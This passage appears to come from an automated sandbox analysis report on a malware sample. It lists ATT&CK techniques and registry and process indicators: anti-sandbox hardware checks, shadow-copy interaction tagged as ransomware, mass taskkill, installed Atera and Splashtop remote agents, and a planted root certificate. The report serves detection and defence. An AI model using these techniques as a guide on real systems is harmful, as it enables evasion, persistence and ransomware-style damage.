Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SRUtility.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	33c3da7bf02520c5a749d6d87c81b35c7a3be9b39a1e09eb2aa15fb94853e73b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6532	dotnet.exe
5048	cmd.exe
7684	dotnet.exe
2776	cmd.exe

Checks SCSI registry key(s) 3 TTPs 10 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e3c1c56297b3270b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e3c1c5620000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900e3c1c562000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de3c1c562000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000e3c1c56200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e3c1c56297b3270b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e3c1c5620000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900e3c1c562000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de3c1c562000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000e3c1c56200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5912	vssadmin.exe

Kills process with taskkill 13 IoCs

pid	Process
3628	taskkill.exe
2744	taskkill.exe
3592	taskkill.exe
4000	taskkill.exe
5560	taskkill.exe
7696	TaskKill.exe
452	TaskKill.exe
4456	taskkill.exe
3052	taskkill.exe
5336	taskkill.exe
2856	taskkill.exe
2776	taskkill.exe
7568	TaskKill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Internet Explorer\TypedURLs	ZTSAux.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Internet Explorer\IntelliForms	ZTSAux.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	cscript.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	AgentPackageMonitoring.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	cscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\Owner = dc1a00007d63b5d23832db01	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	SRManager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	SRManager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	SRManager.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE	SRManager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Certificates	cscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	SRManager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	cscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	SplashtopStreamer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	SRManager.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	AgentPackageSTRemote.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\RegProcs0000 = 300030003000300031003000320030003a00300031006400620033003200330038003a006200640034003300630063006500660000000000	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	AgentPackageAgentInformation.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CRLs	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	SRManager.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	AgentPackageInternalPoller.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	SRManager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	cscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	cscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	AteraAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Sequence = "3"	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	cscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	AteraAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	cscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	AgentPackageMonitoring.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	AteraAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	AgentPackageAgentInformation.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	AteraAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	AgentPackageMonitoring.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	AteraAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	cscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	AteraAgent.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\7D0A237E2F2A7564CA141B792446E854	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{97E1814E-5601-41c8-9971-10C319EF61CC}\InprocServer32\ = "C:\\Windows\\system32\\SRCredentialProvider.dll"	SRService.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7D0A237E2F2A7564CA141B792446E854\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1\18\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{97E1814E-5601-41c8-9971-10C319EF61CC}	SRService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ait\DefaultIcon\ = "C:\\Program Files (x86)\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageTicketing\\TicketingNotifications.exe,1"	AgentPackageTicketing.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FF1292B61C97FBE4184B6C604D5EEB4F\SourceList\Media	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Explorer.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\ZContextMenu\ = "{C14F7681-33D8-11D3-A09B-00500402F30B}"	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\51EC7DF4A48D20F438CD1A50420736B1	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ait\shell	AgentPackageTicketing.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ait\shell\open\command\ = "\"C:\\Program Files (x86)\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageTicketing\\TicketingNotifications.exe\" \"%1\""	AgentPackageTicketing.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7D0A237E2F2A7564CA141B792446E854\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FF1292B61C97FBE4184B6C604D5EEB4F\Version = "17301511"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FF1292B61C97FBE4184B6C604D5EEB4F\SourceList\LastUsedSource = "n;1;C:\\Windows\\TEMP\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ait\URL Protocol	AgentPackageTicketing.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ZContextMenu\ = "{C14F7681-33D8-11D3-A09B-00500402F30B}"	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\st-streamer	MsiExec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{97E1814E-5601-41c8-9971-10C319EF61CC}\ = "SRCredentialProvider"	MsiExec.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache	ZTSAux.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\49AE5C7BA69B5F14EB59527DB8846687\InstanceType = "0"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\25F46F8180ECF4345A1FA7A8935DE9AE	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FF1292B61C97FBE4184B6C604D5EEB4F\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ait\shell\open\command\ = "\"C:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageTicketing\\TicketingNotifications.exe\" \"%1\""	AgentPackageTicketing.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51EC7DF4A48D20F438CD1A50420736B1\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C1926438604375A40B71B3314667C76F\51EC7DF4A48D20F438CD1A50420736B1	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children	ZTSAux.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\st-streamer\URL Protocol	MsiExec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1\18\NodeSlot = "24"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C580F100A850B084DA6592048B753CD8	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7D0A237E2F2A7564CA141B792446E854\SourceList\Net	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FF1292B61C97FBE4184B6C604D5EEB4F\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ait\ = "URL:ait Protocol"	AgentPackageTicketing.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{24D7CA01-FB95-4556-9D54-A6486794E071}	ZTSAux.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51EC7DF4A48D20F438CD1A50420736B1\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7D0A237E2F2A7564CA141B792446E854\Version = "17301511"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FF1292B61C97FBE4184B6C604D5EEB4F\ProductName = "AteraAgent"	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1\17 = ca003100000000006859b3bd10004131373230447e310000b20009000400efbe6859b3bd6859c3bd2e000000103102000000020000000000000000000000000000006bcd65006100310037003200300064003600380065006500660037006400630033003800310061003500330033006600640038003500380034006100320032003700640062003300640062006300610065006400310036003000390038006100300064003700660033003100300037003700660039003500330035003500650038006300000018000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1\18	Explorer.EXE
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4089630652-1596403869-279772308-1000\{F22676FE-1A0D-4FC5-9ADD-A2E5C9460C3E}	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Explorer.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ait\DefaultIcon\ = "C:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageTicketing\\TicketingNotifications.exe,1"	AgentPackageTicketing.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\49AE5C7BA69B5F14EB59527DB8846687\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{97E1814E-5601-41c8-9971-10C319EF61CC}\InprocServer32	MsiExec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ait\URL Protocol	AgentPackageTicketing.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FF1292B61C97FBE4184B6C604D5EEB4F\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\ZContextMenu	MsiExec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51EC7DF4A48D20F438CD1A50420736B1\ProductIcon = "C:\\Windows\\Installer\\{4FD7CE15-D84A-4F02-83DC-A1052470631B}\\ProductIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\49AE5C7BA69B5F14EB59527DB8846687\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Explorer.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7D0A237E2F2A7564CA141B792446E854\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C580F100A850B084DA6592048B753CD8\49AE5C7BA69B5F14EB59527DB8846687	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	Explorer.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51EC7DF4A48D20F438CD1A50420736B1\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\49AE5C7BA69B5F14EB59527DB8846687\Version = "50790402"	msiexec.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

pid	Process
6080	reg.exe
4128	reg.exe
6084	reg.exe
3016	reg.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\925A8F8D2C6D04E0665F596AFF22D863E8256F3F\Blob = 0f00000001000000200000001504593902ec8a0bab29f03bf35c3058b5fd1807a74dab92cb61ed4a9908afa40b000000010000006200000041006d0061007a006f006e00200053006500720076006900630065007300200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020002d002d002000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000002500000030233021060b6086480186fd6e0107180330123010060a2b0601040182373c0101030200c0620000000100000020000000568d6905a2c88708a4b3025190edcfedb1974a606a13c6e5290fcb2ae63edab51400000001000000140000009c5f00dfaa01d7302b3888a2b86d4a9cf21191831d000000010000001000000052135310639a10f77f886b229b9f7afc7f000000010000000c000000300a06082b060105050703037e00000001000000080000000080c82b6886d701030000000100000014000000925a8f8d2c6d04